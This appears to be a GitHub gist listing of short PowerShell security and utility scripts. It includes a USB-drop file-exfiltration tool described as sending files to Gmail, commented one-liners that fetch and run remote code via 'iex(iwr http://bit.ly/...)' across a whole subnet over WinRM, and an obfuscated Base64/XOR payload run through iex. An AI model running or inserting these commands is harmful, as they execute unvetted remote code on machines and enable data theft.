Skip to content

Instantly share code, notes, and snippets.

function Invoke-AsTrustedInstallerJob{
[Alias('TIJob')]
Param(
[Parameter()][Scriptblock]$Scriptblock,
[Parameter()][String]$UserID=$("$Env:ComputerName\$Env:UserName"),
[Parameter()][String]$TaskName='TIJob'
)
# IsAdmin??
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if(-Not$IsAdmin){Write-Warning "Must be admin";Return}
@SadProcessor
SadProcessor / Test-IntelMEStuff.ps1
Created May 2, 2017 23:34
Quick Cmdlet to check this Intel ME Stuff - Uses WMI - Can be run against multiple targets
<#
.Synopsis
Check For Intel Stuff (via WMI)
.DESCRIPTION
Check if vulnerable to Intel Active Management Technology,
Intel Small Business Technology, and Intel Standard Manageability
Escalation of Privilege. [INTEL-SA-00075 - May 1st 2017]
Uses WMI. Can be run against multiple computers.
Returns a risk indication, check links in notes for more info and remediation options
.EXAMPLE
@SadProcessor
SadProcessor / KLR.DMe_Recipe.txt
Last active August 11, 2021 03:22
Kali L33tR4t - SadProcessor's HomeGrown Kali ISO Recipe >> DeadMouse Edition (i3wm)
#########################################################################
# $$\ $DEAD$\ $MOUSE\ $$\ EDITION\ $$\ V2\ $$\ #
# $$ | $$ ___$$\ $$ ___$$\ $$ | $$ __$$\ $$ | $$ | $$ | #
# $$ | \_/ $$ |\_/ $$ |$$$$$$\ $$ | $$ |$$ | $$ |$$$$$$\ #
# $$ | $$$$$ / $$$$$ / \_$$ _| $$$$$$$ |$$$$$$$$ |\_$$ _| #
# $$ | \___$$\ \___$$\ $$ | $$ __$$< \_____$$ | $$ | #
# $$ | $$\ $$ |$$\ $$ | $$ |$$\ $$ | $$ | $$ | $$ |$$\ #
# $L33tR4t\\$Kali$ |\$Linux | \$$$$ |$$ | $$ | $$ | \$ISO | #
# \________|\______/ \______/ \____/ \__| \__| \__| \____/ #
#########################################################################
@SadProcessor
SadProcessor / B64DataType.ps1
Created January 5, 2017 22:27
B64 CmdLine Converter - Add to PoSh profile
## Inline B64CMD Converter (Add to PoSh Profile)
## via System.String Type Custom ScriptProperty Member
# Base64 Encode/Decode
Update-TypeData -TypeName System.String -MemberName "ToB64" -MemberType scriptproperty -Value {[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($this))}
Update-TypeData -TypeName System.String -MemberName "FromB64" -MemberType scriptproperty -Value {[System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($this))}
# Add iex
Update-TypeData -TypeName System.String -MemberName "AddIEX" -MemberType scriptproperty -Value {"iex (`"$this`")"}
@SadProcessor
SadProcessor / FishSticks.ps1
Last active May 8, 2020 03:49
Generate nefarious powershell wrapped in .wsf for USB-Drop Attacks. Will harvest all files with specified extensions from specified folders and send them to specified Gmail account.
<#
.Synopsis
____ _ _ ___ _ _ _
| __(_)__| |_ / __| |_(_)__| |__ ___
| _|| (_-< ' \\__ \ _| / _| / /(_-<
|_| |_/__/_||_|___/\__|_\__|_\_\/__/.v1
"Life is like a box of FishSticks, you never know what you're gonna get..."
Benjamin Buford "Bubba" Blue - 1965.
@SadProcessor
SadProcessor / OneLineRoll.ps1
Last active December 30, 2019 01:44
When all you need to hear is some computer love...
Add-Type -Ass System.Speech;$S=New-Object System.Speech.Synthesis.SpeechSynthesizer;$S.volume=100;$L="We are no strangers to love... You know the rules and so do I. A full commitment is what I am thinking of. You wouldn't get this from any other computer... I just want to tell you how I am feeling... I have got to make you understand: Never gonna give you up, never gonna let you down; Never gonna run around and desert you. Never gonna make you cry, never gonna say goodbye. Never gonna tell a lie and ... hur-urt you.";$S.Speak($L)
### Send a bit of love to yourself
# iex(iwr http://bit.ly/2gXq9fu).content
### Send Loads of Love to your SubNet over WinRM
# 1..254|%{icm 10.0.1.$_{iex(iwr http://bit.ly/2gXq9fu).content}-ea si}
@SadProcessor
SadProcessor / TriggerAV.ps1
Created December 5, 2019 14:55
TriggerAV
iex $(([Convert]::FromBase64String("FHJ+YHoTZ1ZARxNgUl5DX1YJEwRWBAFQAFBWHgsFAlEeBwAACh4LBAcDHgNSUAIHCwdQAgALBRQ=") | % { [char] ($_ -bxor 0x33) })-join'')
@SadProcessor
SadProcessor / Get-Zap.ps1
Created December 16, 2016 00:01
PoSh Cmdlet for OWASP Zap API
<#
.Synopsis
View -> Acsrf
.DESCRIPTION
PoSh WebApp ZapBot...
See OWASP ZAP documentation for more info.
.EXAMPLE
@SadProcessor
SadProcessor / Get-Qwiki.ps1
Last active September 18, 2017 16:17
Quick Wikipedia Search Utility (MultiLang) - TIP: add to Posh Profile
<#
.Synopsis
Quick Wiki Search
.DESCRIPTION
Get Wikipedia Search. Summary in Console or Full pages Online.
.EXAMPLE
QWiki
.EXAMPLE
Qwiki -Search PowerShell
.EXAMPLE
@SadProcessor
SadProcessor / TimeStamp.ps1
Last active May 16, 2017 10:23
TimeStamp Object
Function Get-Stamp{$Props = @{'Box'=$env:COMPUTERNAME;'MAC'= (Get-NetAdapter -Physical)[0].macaddress;'Stamp'=(Get-Date).DateTime};$Obj = New-Object PSCustomObject -Prop $Props | select MAC,Stamp,Box;Return $Obj};Get-Stamp